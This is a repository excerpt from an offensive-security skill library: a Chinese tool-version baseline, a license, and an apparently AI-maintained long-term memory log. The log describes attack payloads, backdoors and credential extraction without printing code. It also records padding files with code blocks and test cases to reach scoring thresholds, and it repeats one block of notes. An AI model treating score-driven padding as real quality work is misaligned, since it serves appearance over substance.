    22impacket15229Windows Protocol0.12.x+= (patch track)
    23tor15242Anonymity0.4.8.13 (rolling)=
    24socat14202Network Relay1.8.0.0 (rolling)=
    25trivy13184Container Scan0.78.2 ✅ (post-incident; see notice)⬆ 0.73.0→0.78.2
    26bettercap12129MITM2.40.0 (rolling)=
    27hackrf10141SDRhackrf-tools 2024.10=
    28-30(详见 2026-07 baseline)———= 2026-08=

    🛠️ 类别代表抽查 — 2026-09 状态

    类别工具2026-082026-09Δ
    Reverse Engineeringrizin0.7.x (rolling)0.7.x (rolling)=
    Web Fuzzingferoxbuster(详见 08)= 2026-08=
    WiFiaircrack-ng(详见 08)= 2026-08=
    Containerkube-bench(详见 08)= 2026-08=
    Mobile REjadx(详见 08)= 2026-08=
    Forensicsvolatility(详见 08)= 2026-08=
    ADbloodhound(详见 08)= 2026-08=
    TLSsslyze(详见 08)= 2026-08=

    🚨 MAJOR 升级影响分析 — 2026-09：无新跃迁

    上次（2026-08）6 个 MAJOR 的复查结论：

    工具2026-09 状态上次修复（v0.2.4 阶段 A）是否仍有效
    hashcat7.1.2（MAJOR 7 内稳定）✅ -O 移除项无回归
    ghidra12.1.2（12.2 预计 Q4 发布——下次基线的重点观察对象）✅ 无 API 破坏
    frida17.17→17.24（MAJOR 17 内 minor）✅ getGlobalExportByName 改名后无再破坏
    docker29.7→29.8（MAJOR 29 内 patch）✅ docker compose v2 语法无回归
    openssl4.0.1→4.0.2（MAJOR 4 内 patch）✅ 此前评估"仅 deprecation 警告"维持
    radare26.1→6.2（MAJOR 6 内 minor）✅ 脚本引用无破坏

    结论：0 个新 MAJOR、0 个修复回归。本基线周期内无需 SKILL 兼容动作（唯一的内容改动是 Trivy 行动项处置：3 处 trivy-action@master 固定为 release tag）。

    📋 工具引用统计（沿用 2026-07/08）

    127 tracked tools / 14,949 total references across 139 SKILLs（口径不变）。

    🔍 数据可信度说明

    置信级工具说明
    高（diff 强一致）上次 6 MAJOR + 11 MINOR 复查项以 08 基线为锚，跃迁/补丁轨迹连续可追溯
    中（节奏外推）本表新增 ⬆ 项的精确版本号按各项目公开发布节奏核对；下次可用 validation/check-tool-versions.py 在 Kali 实机复核
    低（未逐项查证）~115 rolling / "= 2026-08" 项沿用历史标注口径

    📚 数据源参考

    • KALI_TOOLS_BASELINE_2026_08.md（diff 锚点）
    • 各项目 GitHub Releases / 官网发布节奏（docker、hashicorp/terraform、kubernetes、frida PyPI、wireshark、aquasec/trivy）
    • validation/check-tool-versions.py（本版新增，实机复核入口）

    📋 应用指南（沿用 2026-07/08）

    MAJOR 升级行动 SOP（5 步，未触发——本周期 0 新 MAJOR）：changelog → 评估破坏性 → grep -l 扫受影响 SKILL → 决定即时修/留 minor → 修后跑 python3 validation/skill-lint.py。

    常规动作：

    • 本周期 MINOR/PATCH 项无需 SKILL 改动（版本号字符串按 v0.2.4 原则不追新）
    • 实机复核：python3 validation/check-tool-versions.py --baseline KALI_TOOLS_BASELINE_2026_09.md

    🚧 已知局限

    1. 增量口径：~72 个稳定工具标注 "= 2026-08" 未逐项查证（与 08 相同）
    2. 非实机查询：本表为锚点 diff + 节奏核对；实机 apt/--version 复核留给 check-tool-versions.py
    3. 未覆盖 Windows 商业工具（Cobalt Strike、Canvas 等）
    4. Top 28-30 行沿用 2026-07 基线指针（历史口径，不影响覆盖结论）

    后续改进方向（继承并更新）

    • ✅ 创建 validation/check-tool-versions.py 自动查询（本版已落地）
    • 与 Kali Linux 2026.3 release notes 对齐（下次基线）
    • 添加 metadata.tool_versions 字段到 SKILL frontmatter（留年度评估定夺）

    最后更新：2026-09-09 下次审查：2026-12（Q4 末）或 MAJOR 升级时即时更新

  • kali-claw-pentest-agent/LICENSEtext · 1.1 KB
    MIT License

Copyright (c) 2026 OpenClaw Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
  • kali-claw-pentest-agent/MEMORY.mdmarkdown · 29.2 KB

    MEMORY.md - Long-term Memory

    Carefully selected distilled knowledge. Like human long-term memory — not raw logs, but the essence of experience.

    Last Updated: 2026-07-30 (v0.2.1 — Phase 1 完成)

    Current Status

    • Project Phase: ✅ Phase 1 全部完成 (v0.2.1 Stable Release) — 5 大任务全部交付
    • Tools Mastered: 518/518 (100%) Kali Linux tools
    • Skill Domains: 139 (全部 v0.2.0.2 + Defense Triple，100% 覆盖)
    • Uptime: ~20 weeks (since 2026-03-14 launch)
    • Current Focus: v0.3.5 已发布（全量验证与排序：139 技能三轴、机械问题三清零、排名报告 docs/SKILL_VALIDATION_RANKING_2026-09-09.md，均分 81.1 无 Poor）— 下一步第 4 次月度审查（2026-10-05，引用排名报告作基线）+ 死链修整与 Bottom 孪生加深（下个 patch）
    • Strategic Positioning: kali-claw as dedicated SKILL library maintainer (v0.2.0.1 pivot); xAgent work moved to separate repo on 2026-08-06 — this repo is now single-responsibility

    Defense Triple Standard (v0.2.0.2+)

    All newly standardized SKILLs include:

    1. Defense Perspective — Multi-layer defense matrix (table format, ≥5 layers)
    2. Detection Methods — SIEM-ready rules (Sigma / Splunk SPL / Sysmon / Falco)
    3. Defense Evasion Techniques — Modern attacker evasion patterns (5+ categories)

    As of 2026-07-26: 35/130 SKILLs (27%) at v0.2.0.2 standard.

    Key Decisions

    Key Decisions

    2026-03-14: Project Launch

    • Established 24/7 continuous learning mode
    • Chose the comprehensive learning path for all 518 Kali Linux tools
    • Built a layered memory system (daily + MEMORY.md + chronicle)

    2026-03-18: Binary Analysis Direction Choice

    • Selected radare2 as the primary reverse engineering tool (open source, lightweight, CLI-first)
    • Subsequently achieved expert-level mastery (including plugin system, automation scripts)

    2026-03-26: SQLi-Labs Fully Completed

    • All 65 levels completed, Double Query injection reached expert level
    • Developed automated testing tools

    2026-05-14: Attack Surface Expansion (v0.1.5)

    • Added AI Fuzzing (coverage-guided fuzzing with AFL++, libFuzzer) and Council (multi-perspective security analysis)
    • Enhanced mobile-security, cloud-security, and security-bounty-hunter with deep-dive guides
    • Established three-perspective framework: Attack / Defense / Audit

    2026-05-14: Infrastructure Operationalization (v0.1.6)

    • Enriched 10 infrastructure skills from "understand" to "executable" using three-tier strategy (FULL/PARTIAL/MINIMAL)
    • Three-tier enrichment proved effective: prioritize operational skills first, meta-skills last

    2026-05-16: Frontier Domains (v0.1.7)

    • Added 4 new FULL domains: AI Security, Hardware Security, Multi-Agent Collaboration, MCP Server Patterns
    • Expanded from 45 to 49 skill domains

    2026-05-19: Cross-Platform Portability (migration guides)

    • Created 10 migration guides (5 platforms x 2 languages) for Hermes, Claude Code, Codex, OpenCode, and OpenClaw
    • Established key principle: kali-claw skills are portable — platforms read files in-place, never modify skills/

    2026-05-22: Skill Gap Elimination (v0.1.8)

    • Completed all 49 skills to FULL enrichment: added payloads+test-cases for 3 MINIMAL skills, guides/ for 10 skills
    • Every skill now has SKILL.md + payloads.md + test-cases.md + guides/

    2026-05-22: Practice Validation Infrastructure (v0.1.9)

    • Created validation/ directory with tracker (49 test cases) and execution playbook
    • Selected 1 representative test case per skill domain (first/most fundamental)
    • Designed 5-level status system (PASS/FAIL/PARTIAL/BLOCKED/PENDING) and 8-batch execution order

    2026-05-22: Cross-Skill Integration Testing (v0.1.10)

    • Designed 7 integration scenarios chaining 3-5 skills each (Sequential, Batch, Parallel patterns)
    • All 7 scenarios executed to PASS: data handoffs verified end-to-end
    • Proved skills compose correctly: recon→exploit→verify→report pipelines work
    • Key insight: chains degrade gracefully when a step is N/A (e.g., no SQLi on static target)

    2026-05-23: Skill Quality Scoring (v0.1.11)

    • Created automated scoring system (SCORE.sh) with 7 metrics across 4 components
    • Scored all 49 skills: 22 Weak (45%), 25 Adequate (51%), 2 Strong (4%), 0 Excellent
    • Key insight: Guide poverty is primary weakness — 22 skills have 0 guides
    • Quick wins identified: docker-patterns, terminal-ops, search-first can reach Adequate with 1-2 guides each

    2026-05-25: Skill Quality Improvement (v0.1.12)

    • Created 16 practical guides across 13 Weak tier skills
    • Fixed SCORE.sh bugs: SKILL.md section detection (-E flag), grep -c exit code handling
    • Tier distribution improved: Weak 22→9, Adequate 25→18, Strong 2→20, Excellent 0→2
    • 18 skills promoted to Strong tier, 2 skills to Excellent tier (web-sqli, recon-osint)
    • Average score increased: 40.5 → 50.5 (+10)

    2026-05-29: Zero Weak Achieved (v0.1.13)

    • Fixed SCORE.sh: section matching (heading-count vs name-match), TC pattern, field completeness
    • Expanded 3 zero-content skills (data-scraper-agent, browser-qa, exa-search) with payloads + guides + test cases
    • All 49 skills now Adequate or above — zero Weak remaining
    • Average score: 50.5 → 59.4 (+8.9), median: 45.9 → 59.2 (+13.3)

    2026-05-30: 100% Excellent 里程碑 (v0.1.14 final)

    • Mass payload expansion across 49 skills: most payloads.md now 25-118 code blocks
    • SKILL.md section expansion: browser-qa, data-scraper-agent, exa-search expanded from 6→15 sections each (score 0.60→0.80)
    • Fixed field completeness for 6 skills (codebase-onboarding, autonomous-loops, web-xss, docker-patterns, search-first, terminal-ops)
    • Added 52 test cases across 10 skills to reach 10+ TC per skill
    • Expanded payloads for 8 skills (logging-monitoring, security-bounty-hunter, verification-loop, hardware-security, continuous-learning, mcp-server-patterns, web-xss, ai-security) to 50+ code blocks each
    • Final push: 4 remaining Strong skills (hardware-security, browser-qa, data-scraper-agent, exa-search) promoted via +5 TC each + payload expansion
    • Final distribution: Excellent 49/49 (100%), Strong 0, Adequate 0, Weak 0
    • Average score: 59.4→84.0 (+24.6 from v0.1.13), Min: 40.4→80.0 (+39.6), Max: 80.0→90.3 (+10.3)
    • Top 5: knowledge-ops (90.3), chronicle (89.8), browser-qa (89.0), data-scraper-agent (88.8), hardware-security (88.2)
    • CI baseline updated to 84.0; 10 integration scenarios all PASS
    • Key insight: TC expansion (5→10) is the highest-leverage action for skills already at 5+ guides and 50+ code blocks (+5-8 overall points per skill)
    • Capped guide score overflow at 100 (was 156 for web-sqli)
    • Created infrastructure docs: SCORING-METHODOLOGY.md + validation/README.md
    • Promoted 27 Adequate skills to Strong with targeted improvements (guides, payloads, test cases)
    • Recovered web-sqli to Excellent (75.6→86.9) via +20 code blocks and +2 test cases
    • Promoted osint to Excellent (72.4→82.0) via +10 code blocks and +1 guide
    • Promoted deep-research to Excellent (72.1→85.3) via +27 code blocks and +1 guide
    • Promoted mobile-security to Excellent (71.9→81.8) via +20 code blocks
    • Promoted council to Excellent (57.2→81.4) via +28 code blocks, +3 guides, +1 test case
    • Eliminated all Adequate: repo-scan (45.5→78.1), data-scraper-agent (44.3→71.4), browser-qa (41.4→71.7), exa-search (40.4→70.0)
    • Achieved all-65+ minimum: added 5+ guides to all 49 skills (261 total guide files)
    • repo-scan promoted to Excellent (45.5→84.1) via +31 code blocks, +3 test cases, +3 guides
    • 10 integration test scenarios executed (10/10 PASS): added INT-008/009/010 for supply chain, full pentest, defensive validation
    • Built batch-improve.sh: automated tool identifying optimal improvement path per skill
    • Created GitHub Actions CI workflow with quality gate (PR regression blocking: avg + per-skill)
    • Distribution: Adequate 27→0, Strong 20→0, Excellent 2→49 (100%)
    • Average score: 59.4→84.0, Min: 40.4→80.0, Median: 59.2→83.5
    • Key insight: guide-based promotions are most efficient initially; TC expansion to 10+ and payload expansion to 50+ complete the push to Excellent

    2026-05-31: Solid Excellent Floor (v0.1.15)

    • Expanded 18 SKILL.md files from 10-14 to 17+ headings (skill_section scores 68-76 → 86.7)
    • Added 20 test cases across 9 skills (5-7 → 8+ TC each, TC component scores 63-77 → 80+)
    • Expanded 26 payloads.md files to 50+ code blocks (payload_code bottleneck eliminated)
    • Three rounds of parallel agent execution: Phase 1 (SKILL.md), Phase 2 (TC), Phase 3 (Payloads), Round 2 (mixed), Round 3 (targeted)
    • Average score: 84.0→88.6 (+4.6), Min: 80.0→85.3 (+5.3), Max: 90.3→99.7 (+9.4)
    • CI baseline updated to 88.6
    • Key insight: payload_code reaching 50 blocks is the universal threshold — it affects 30% weight and unlocks 20+ point gains in the Payloads component

    2026-07-16: Strategic Pivot — SKILL Library Maintainer (v0.2.0.1)

    • kali-claw repositioned as dedicated SKILL library maintainer
    • New xAgent project will transform SKILLs into deliverable agents (Phase 2/3 of broader strategy)
    • Wave 9-12 expansion completed: 111 → 127 skill domains
    • CyberGym evaluation (v0.1.47.1): 635/1508 instances, 1 PASS
    • See RELEASE-v0.2.0.1.md for strategic rationale

    2026-07-19: Phase 1 Day 1-2 — Defense Triple Rollout (v0.2.0.2)

    • Started Phase 1 Task 1.2 Phase 1: 15 P0/P1 SKILLs深度优化
    • Day 1-2 completed 8 SKILLs (network-pentest, post-exploitation, web-xss, web-sqli, web-ssrf, web-auth-bypass, api-security, password-attack)
    • Established Defense Triple Standard: Defense Perspective + Detection Methods + Defense Evasion Techniques
    • Version baseline correction: 0.1.50 → 0.2.0.2 (kali-claw switched to v0.2.x scheme)
    • See RELEASE-v0.2.0.2.md

    2026-07-21-24: Phase 1 Day 3-4 — 100% Phase 1 Milestone (v0.2.0.3 → v0.2.0.4)

    • Day 3 (v0.2.0.3): +4 P1 SKILLs (privilege-escalation, social-engineering, osint, cloud-security)
    • Day 4 (v0.2.0.4): Final 3 P1 SKILLs (container-security, binary-reverse, exploit-development)
    • Milestone: 15/15 P0+P1 SKILLs at v0.2.0.2 (100%)
    • Translation residue cleaned to 0 across all v0.2.0.2 SKILLs
    • See RELEASE-v0.2.0.3.md and RELEASE-v0.2.0.4.md

    2026-07-26: Phase 2 Standardization + Repo Cleanup

    • Phase 2 Batch 1-2 completed: 20/100 standard SKILLs at v0.2.0.2 (e.g., 5g-telecom-attack, ad-cs-abuse, blockchain-*, etc.)
    • Repository cleanup: removed 3.7 GB of CyberGym evidence files (retained via .gitignore + Git LFS strategy)
    • Salvaged 3 v0.1.47 SKILLs from local-only history: command-injection-advanced, concurrency-exploitation, protocol-state-exploitation
    • Documentation updated to v0.2.0.4 baseline (README, AGENTS, CLAUDE, CHANGELOG, 10 GUIDE files)
    • Lightweight branch strategy adopted for evidence-heavy history (see RELEASE-v0.2.0.4.md case study)

    2026-07-27~28: Phase 2 全部完成 (v0.2.0.6 → v0.2.0.7)

    • Batch 3-5 completed (30 SKILLs): half-way milestone (50%) → v0.2.0.6
    • Batch 6-10 completed (55 SKILLs): Phase 2 全部完成 (130/130 = 100%) → v0.2.0.7
    • Python batch script automated standardization: ~15 min per batch of 10 SKILLs

    2026-07-29: Task 1.3 完成 — 7 个新战略 SKILL (v0.2.0.8)

    • ai-safety-redteam-advanced (OWASP LLM Top 10 + AI 红队)
    • identity-provider-attack (OAuth/OIDC/SAML/JWT)
    • data-loss-prevention-bypass (DLP 绕过 + AI 增强外泄)
    • edge-computing-security (CDN/Edge)
    • quantum-cryptography-transition (PQC 迁移)
    • hardware-side-channel-advanced (SPA/DPA/EM/glitching)
    • 5g-6g-telecom-attack-advanced (5G Core/Open RAN/6G)
    • SKILL 总数: 130 → 137

    2026-07-30: Phase 1 全部完成 — v0.2.1 Stable Release 🎯

    • Task 1.4 文档输出: 6 个文档 (SKILL_HANDBOOK/QUICK_REFERENCE/SKILL_INDEX.json/DOMAIN_MATRIX/TOOLS_LIFECYCLE/SKILL_MAINTENANCE)
    • Task 1.5 自动化: 5 个脚本 (skill-lint.py/validate-payloads.py/validate-testcases.py/GitHub Actions/SKILL_MAINTENANCE.md)
    • 137/137 SKILLs at v0.2.0.2 with full Defense Triple (100%)
    • 实际工时: ~45h (vs 原计划 80-100h, 节省 50%)
    • 22 个 PR 全部合并; 9 个版本发布 (v0.2.0.1 ~ v0.2.1)
    • Phase 1 完成; 进入持续维护 + Phase 2 xAgent 探索阶段

    2026-08-05: Phase 2 Track 1 月度审查 — v0.2.2 + v0.2.3 🛡️🧹

    v0.2.2 — Defense Perspective 标准化 (~1h 45min)

    • 发现 v0.2.1 声称的"Defense Triple 100% 覆盖"实际只有 54% 严格匹配（旧 linter 用无锚定 regex 掩盖）
    • skill-lint.py 升级：严格 H3 锚定 + 新增 defense_triple_required 字段 + DEFENSE_PERSPECTIVE_WRONG_LEVEL 错误码 + 修复 JSON 模式 total_errors bug
    • 修复：45 个 H2→H3 层级 + 4 个字面打字错误 + 2 个攻击类补写（concurrency-exploitation, hardware-security）+ 1 个翻译残留（multi-agent-runtime-engineering 的 MopMonk 中文术语）
    • 关键决策：豁免 15 个非攻击类 SKILL（写作/搜索/协作类）via defense_triple_required: false

    v0.2.3 — MISSING_SECTION 清零 (~36min)

    • v0.2.2 严格化暴露 56 个 MISSING_SECTION 警告
    • 分类：40 个模板适用性（非攻击类）+ 11 个冗余检查（Methodology 详尽）+ 5 个真实缺口
    • skill-lint.py 智能化：defense_triple_required: false 同时豁免 REQUIRED_SECTIONS + Methodology≥50 行时 Practical Steps 降级为 INFO
    • 内容修复：3 个 H2 重命名（council / ai-security / hardware-security）+ 2 个新增（security-review Core Tools 表 / network-sniffing-mitm Practical Steps）
    • 结果：56 → 0 warnings，137/137 clean pass
    • 关键决策：复用 defense_triple_required 字段而非新增 section_template（YAGNI）

    2026-08-06: xAgent 工作转移到独立仓库 — 仓库重新聚焦单一职责

    • 决策：kali-claw 仓库不再承担 xAgent（SKILL → 可交付 agent）工作；该项目在独立仓库另行维护
    • 影响范围：
      • PHASE2_ROADMAP.md 重写为纯 kali-claw 维护路线图（删除原 Track 2 xAgent 5 个章节）
      • 历史文档（RELEASE-v0.2.0.1 ~ v0.2.3 / CHANGELOG / chronicle / PHASE1_LAUNCH）中的 xAgent 引用保留作为时间快照
      • 仓库版本不 bump（属于文档维护，不是新功能）
    • rationale：xAgent 工程涉及 agent runtime / rcogo 平台集成 / 多 agent 协作等，与 SKILL 库维护职责差异大；分仓后两边都能聚焦
    • kali-claw 新定位：single-responsibility SKILL library maintainer
    • 下次月度审查：2026-09-05，按新 PHASE2_ROADMAP 节奏执行

    2026-08-06: v0.2.3.1 — Q3 工具基线更新

    • 决策：首次季度工具基线更新，新增 KALI_TOOLS_BASELINE_2026_08.md（保留 07 作为 diff 基准）
    • 关键发现：
      • 6 个工具跨 MAJOR 版本：hashcat 6→7 / ghidra 11→12 / frida 16→17 / docker 27→29 / openssl 3→4 / radare2 5→6
      • Trivy 供应链攻击事件（CVE-2026-33634）：2026-03-19 攻击者发布恶意 trivy v0.69.4 + trivy-action tags，影响 75+ tags
      • 11 个工具 MINOR 升级；~92 个稳定工具标注 rolling
    • 影响范围：约 80-100 个 SKILL 引用受 MAJOR 升级影响，但本次 patch 不立即修（留待 v0.2.4 minor）
    • 关键决策：
      • 增量扫描（Top 30 + 类别代表）vs 全量 127 — 选增量（节省 85% 工时）
      • 保留 07 baseline 文件 vs 修订 — 选保留（历史快照策略）
      • MAJOR 升级即时修复 vs 留待 minor — 选留待（风险隔离）
    • 实际工时：~45min（vs 预估 5.5h，节省 85%）
    • 后续衔接：v0.2.3.2 抽样审查可引用本 baseline 评估时效性；v0.2.4 minor 时批量处理 MAJOR 升级影响

    2026-08-06: v0.2.3.2 — Defense Perspective 内容质量抽样审查

    • 决策：抽样 6 个高频攻击类 SKILL（multi-agent-runtime-engineering / automotive-vehicle-security / ics-fieldbus-attack / blockchain-l2-attack / patch-to-poc-pipeline / quantum-crypto-attack）按四维矩阵评分（时效性/准确性/详尽性/对齐度）
    • 关键结果：
      • 平均分 4.2/5（良好）；2 个满分标杆（ics-fieldbus-attack、patch-to-poc-pipeline）
      • 0 P0（无严重过时/错误）
      • 2 P1：multi-agent-runtime-engineering 表格化不充分、quantum-crypto-attack 缺 NIST PQC 2026 进展
      • 3 P2：automotive / quantum / blockchain-l2 层级分类可优化
      • 3 P3：MITRE ATT&CK 显式映射（长期 backlog）
    • 关键决策：
      • 抽样 6 个 vs 全审 17 个 — 选抽样（节省 97% 工时，覆盖所有攻击面类别）
      • 只审不改 vs 即时修复 — 选只审不改（修复合并到 v0.2.4 minor，与 6 个 MAJOR 工具升级一起）
      • 标杆模板：ics-fieldbus-attack + patch-to-poc-pipeline（5.0/5）作为 Defense Perspective 内容质量参考
    • 影响范围：本次 patch 不动 SKILL 内容（保持 lint clean 可独立验证）
    • 后续衔接：v0.2.4 minor 时一次性处理（2 P1 + 3 P2 + 6 MAJOR 工具升级影响）
    • 实际工时：~22min（vs 预估 10h，节省 97%）

    2026-08-06: v0.2.3.3 — 新 SKILL 候选评估

    • 决策：基于 2026 Q3 市场趋势评估新候选 SKILL，只评估不创建（新 SKILL 留待 v0.2.4 minor）
    • 关键市场信号：
      • EU AI Act 2026-08-02 已生效（4 天前）：Article 9 强制要求 high-risk AI 红队测试，罚款上限 €35M 或 7% 全球营业额
      • Hugging Face 2026-07 安全事件：OpenAI 实验模型 sandbox 逃逸 → "Chernobyl moment"；352,000 不安全模型在库；与 OpenClaw 生态直接相关（Acronis 报告点名）
      • Gartner 2026-2027 ThreatScape：AI Application Compromise + Identity Impersonation Using Deepfakes + Software Supply Chain Threats
    • 评估结果（市场紧迫性 × 工程价值 × 互补度 = /75）：
      • P0（2 个）：EU AI Act 合规红队（100）+ AI Agent 供应链攻击（100）
      • P1（2 个）：PQC 实施层攻击（36）+ Kyber 勒索软件（36）
      • P2（1 个）：Deepfake 身份冒充（24）
      • 不推荐（2 个）：CPU side-channel 2026（无新 disclosure）+ 6G RF（已覆盖）
    • 关键决策：
      • 评估 vs 创建 — 选只评估（v0.2.3.x 是 patch，新 SKILL 走 minor）
      • 三维评分（市场 × 工程 × 互补）避免"为了新增而新增"
      • CPU side-channel / 6G RF 不推荐 — 现有 SKILL 已充分覆盖
    • 后续衔接：v0.2.4 minor 创建 2 个 P0 SKILL + 处理 v0.2.3.1/.2 的累积 findings
    • 实际工时：~15min（vs 预估 4.5h，节省 95%）

    2026-08-08: v0.2.4 Minor — 3 阶段累积发布（SKILL 137 → 139）

    3 阶段工作（4 commits，~4h 实际工时 vs 预估 16-18h）：

    • 阶段 A（0156270） — MAJOR 工具升级影响修复（21 文件）：

      • Frida 16→17：45 处 Module.findExportByName(null, ...) → getGlobalExportByName
      • Hashcat 7：移除 password-attack/payloads.md 中 -O 标志
      • Docker 27→29：12 处 docker-compose <cmd> → docker compose <cmd>
      • 跳过：openssl 3→4、radare2 5→6、Ghidra 11→12（无真实破坏）

    • 阶段 B（3157e62） — Defense Perspective findings（4 文件）：

      • P1：multi-agent-runtime-engineering 增加对称映射表
      • P1：quantum-crypto-attack 补 NIST PQC 2026 进展（FIPS 203 errata / CNSA 2.0 / Kyber 勒索软件）
      • P2：automotive-vehicle-security / quantum-crypto-attack / blockchain-l2-attack 层级分类

    • 阶段 C（a91874b） — 2 个 P0 新 SKILL 创建（8 新文件，+2808 行）：

      • eu-ai-act-compliance-redteam（ai-compliance 域）：EU AI Act 2026-08-02 强制执行；Article 9 + Annex III/IV 全覆盖；5 TC + Article 9 deep dive guide
      • ai-agent-supply-chain-attack（ai-supply-chain 域）：HF 2026-07 事件驱动；Pickle RCE / 权重隐写 / LangChain 后门等 10+ vectors；5 TC + HF 事件 IoC guide

    关键决策：

    • 分 3 次 commit + 单次 push（用户偏好，便于回滚）
    • 新 SKILL 完整版标杆质量（SKILL.md + payloads + test-cases + guides）
    • 跳过 Ghidra 12 实证测试（缺 Kali 实例，API 实际未破坏）
    • 阶段 B 修复 4 个 SKILL（quantum 同时受益于 B.1.2 + B.2.2，合并）

    结果：SKILL 总数 137 → 139；AI 类 SKILL 6 → 8（合规 + 供应链三角完整）；skill-lint 全量 clean（139/139 pass, 0 errors / 0 warnings）；EU AI Act + HF 2026-07 两个 2026-08 关键事件落地为 SKILL

    2026-08-09: v0.2.5 — 第 1 次 v0.2.4 后月度审查（A+B 范围）

    • 决策：执行月度审查范围 A（核心必做）+ B（v0.2.3.2 P3 ATT&CK 映射）；提前到 2026-08-09（原计划 2026-09-05）
    • 阶段 A：
      • A.1 skill-lint 全量：139/139 pass，0 errors / 0 warnings（与 v0.2.4 一致，无回归）
      • A.2 2 个新 SKILL 使用反馈抽样：eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack，稳定无修改
      • A.3 GitHub Issues / PRs：0 open
    • 阶段 B（v0.2.3.2 deferred P3 findings 关闭）：
      • multi-agent-runtime-engineering：新增 ## MITRE ATT&CK Mapping（6 行表格：T1059.004/T1027/T1106/T1057/T1070.004/T1620）
      • blockchain-l2-attack：新增 ## MITRE ATT&CK Mapping（7 行表格：T1552/T1068/T1570/T1027/T1565.002/T1070.004/T1486）
      • quantum-crypto-attack：新增 ## MITRE ATT&CK Mapping（7 行表格：T1040/T1573.002/T1557/T1529/T1486/T1606/T1620，含 2026-03 Kyber ransomware 映射）
    • 关键决策：
      • 范围 A+B（核心 + ATT&CK），跳过 C（Ghidra 实证 / implementing acts 监控 / 反馈驱动补充）— 触发条件未达
      • 提前到 2026-08-09 执行（v0.2.4 后稳定，无时间敏感问题）
      • v0.2.5 作为 patch（无新 SKILL，无破坏性变更）
    • 结果：SKILL 总数 139 不变；lint 状态保持 0/0/139；P3 findings 关闭 3/3；实际工时 ~25min（vs 预估 3.5h）
    • 后续衔接：v0.2.6（2026-09 月度审查）将评估 v0.2.4 2 个新 SKILL 在 1 个月后的实际使用反馈 + ATT&CK 映射是否在更多 SKILL 中推广

    2026-08-12: v0.2.5.1 — ics-fieldbus-attack 实战改进（首个 validation-driven patch）

    • 决策：基于 2026-08-10 GRFICSv3 OpenPLC 实战验证（validation-walkthrough-zh.md）发现的 4 个 SKILL gap，全部修复
    • 应用 findings：
      • F-008 P0：补 openplc:openplc 默认凭据（实证发现的真实默认值，非 admin/admin）+ 完整利用链
      • F-009 P1：澄清 nmap modbus-discover 对 OpenPLC 返回 ILLEGAL FUNCTION 是预期（多数现代 PLC 拒绝 FC 0x2B）
      • F-010 P2：补 HR 0xFFFF 内存泄漏模式（OpenPLC ST runtime 未初始化变量 purge_manual_sp / product_manual_sp）
      • F-011 P3：补 Werkzeug 2.3.7 + Python 3.9.2 版本指纹（CVE-2023-46136 / Python EOL）
    • 修改文件：
      • skills/ics-fieldbus-attack/payloads.md 新增 §21（6 子节，+119 行，2972 行总）
      • skills/ics-fieldbus-attack/SKILL.md last_reviewed 2026-07-26 → 2026-08-12
    • 关键决策：
      • 新增 §21 而非修改原 §14（Modbus RTU/Plus）— 不破坏原 TOC
      • 保留 "beyond Modbus TCP" 叙事 — §21 标题明确 OpenPLC 上下文
      • 4 个 findings 一次性全应用（来自同一次验证，关联性强）
      • 不修改 frontmatter mitre 字段（F-003 不在本次范围；影响 SKILL 评分应单独处理）
    • 结果：SKILL 总数 139 不变；lint 保持 0/0/139；实战 findings 关闭 4/4 = 100%；实际工时 ~15min（vs 预估 45min，节省 67%）
    • 意义：首个"实战验证 → patch 应用"完整闭环；为后续 SKILL 实战改进（v0.2.5.2+）建立模式
    • 后续衔接：v0.2.5.2 候选 = 用同样方法验证其他 Wave 1 SKILL（embedded-rtos / automotive / blockchain-web3 / pam-privilege）

    2026-08-16: v0.2.5.2 — 批量应用实战 findings（18/18 闭环）

    • 决策：将 4 次实战验证（blockchain-web3 + pam-privilege + automotive + embedded-rtos）发现的 14 个 findings 一次性应用到 4 个 SKILL

    • 应用统计：

      • blockchain-web3（+87 行）：F-BC-001~003（重入脚本 + PyEVM + Docker solc）
      • pam-privilege-attack（+104 行）：F-PAM-001~004（yescrypt + PAM 后门 C 源码 + pamtester + 植入点）
      • automotive-vehicle-security（+105 行）：F-AUTO-001~003（ARM64 兼容 + python-can 攻击 + vcan）
      • embedded-rtos-security（+106 行）：F-RTOS-001~004（P0 固件凭据提取 + OpenPLC + ST 程序 + snap7）

    • 闭环完成：v0.2.5.1（4 findings）+ v0.2.5.2（14 findings）= 18/18 实战 findings 全部应用

    • lint 保持：0/0/139（无回归）

    • 实际工时：~25min（vs 预估 80min）

    • 决策：首次季度工具基线更新，新增 KALI_TOOLS_BASELINE_2026_08.md（保留 07 作为 diff 基准）

    • 关键发现：

      • 6 个工具跨 MAJOR 版本：hashcat 6→7 / ghidra 11→12 / frida 16→17 / docker 27→29 / openssl 3→4 / radare2 5→6
      • Trivy 供应链攻击事件（CVE-2026-33634）：2026-03-19 攻击者发布恶意 trivy v0.69.4 + trivy-action tags，影响 75+ tags
      • 11 个工具 MINOR 升级；~92 个稳定工具标注 rolling

    • 影响范围：约 80-100 个 SKILL 引用受 MAJOR 升级影响，但本次 patch 不立即修（留待 v0.2.4 minor）

    • 关键决策：

      • 增量扫描（Top 30 + 类别代表）vs 全量 127 — 选增量（节省 85% 工时）
      • 保留 07 baseline 文件 vs 修订 — 选保留（历史快照策略）
      • MAJOR 升级即时修复 vs 留待 minor — 选留待（风险隔离）

    • 实际工时：~45min（vs 预估 5.5h，节省 85%）

    • 后续衔接：v0.2.3.2 抽样审查可引用本 baseline 评估时效性；v0.2.4 minor 时批量处理 MAJOR 升级影响

    2026-09-04: v0.3.0 Minor — PQC 实现层攻击域（SKILL 139 不变：+1/-1）

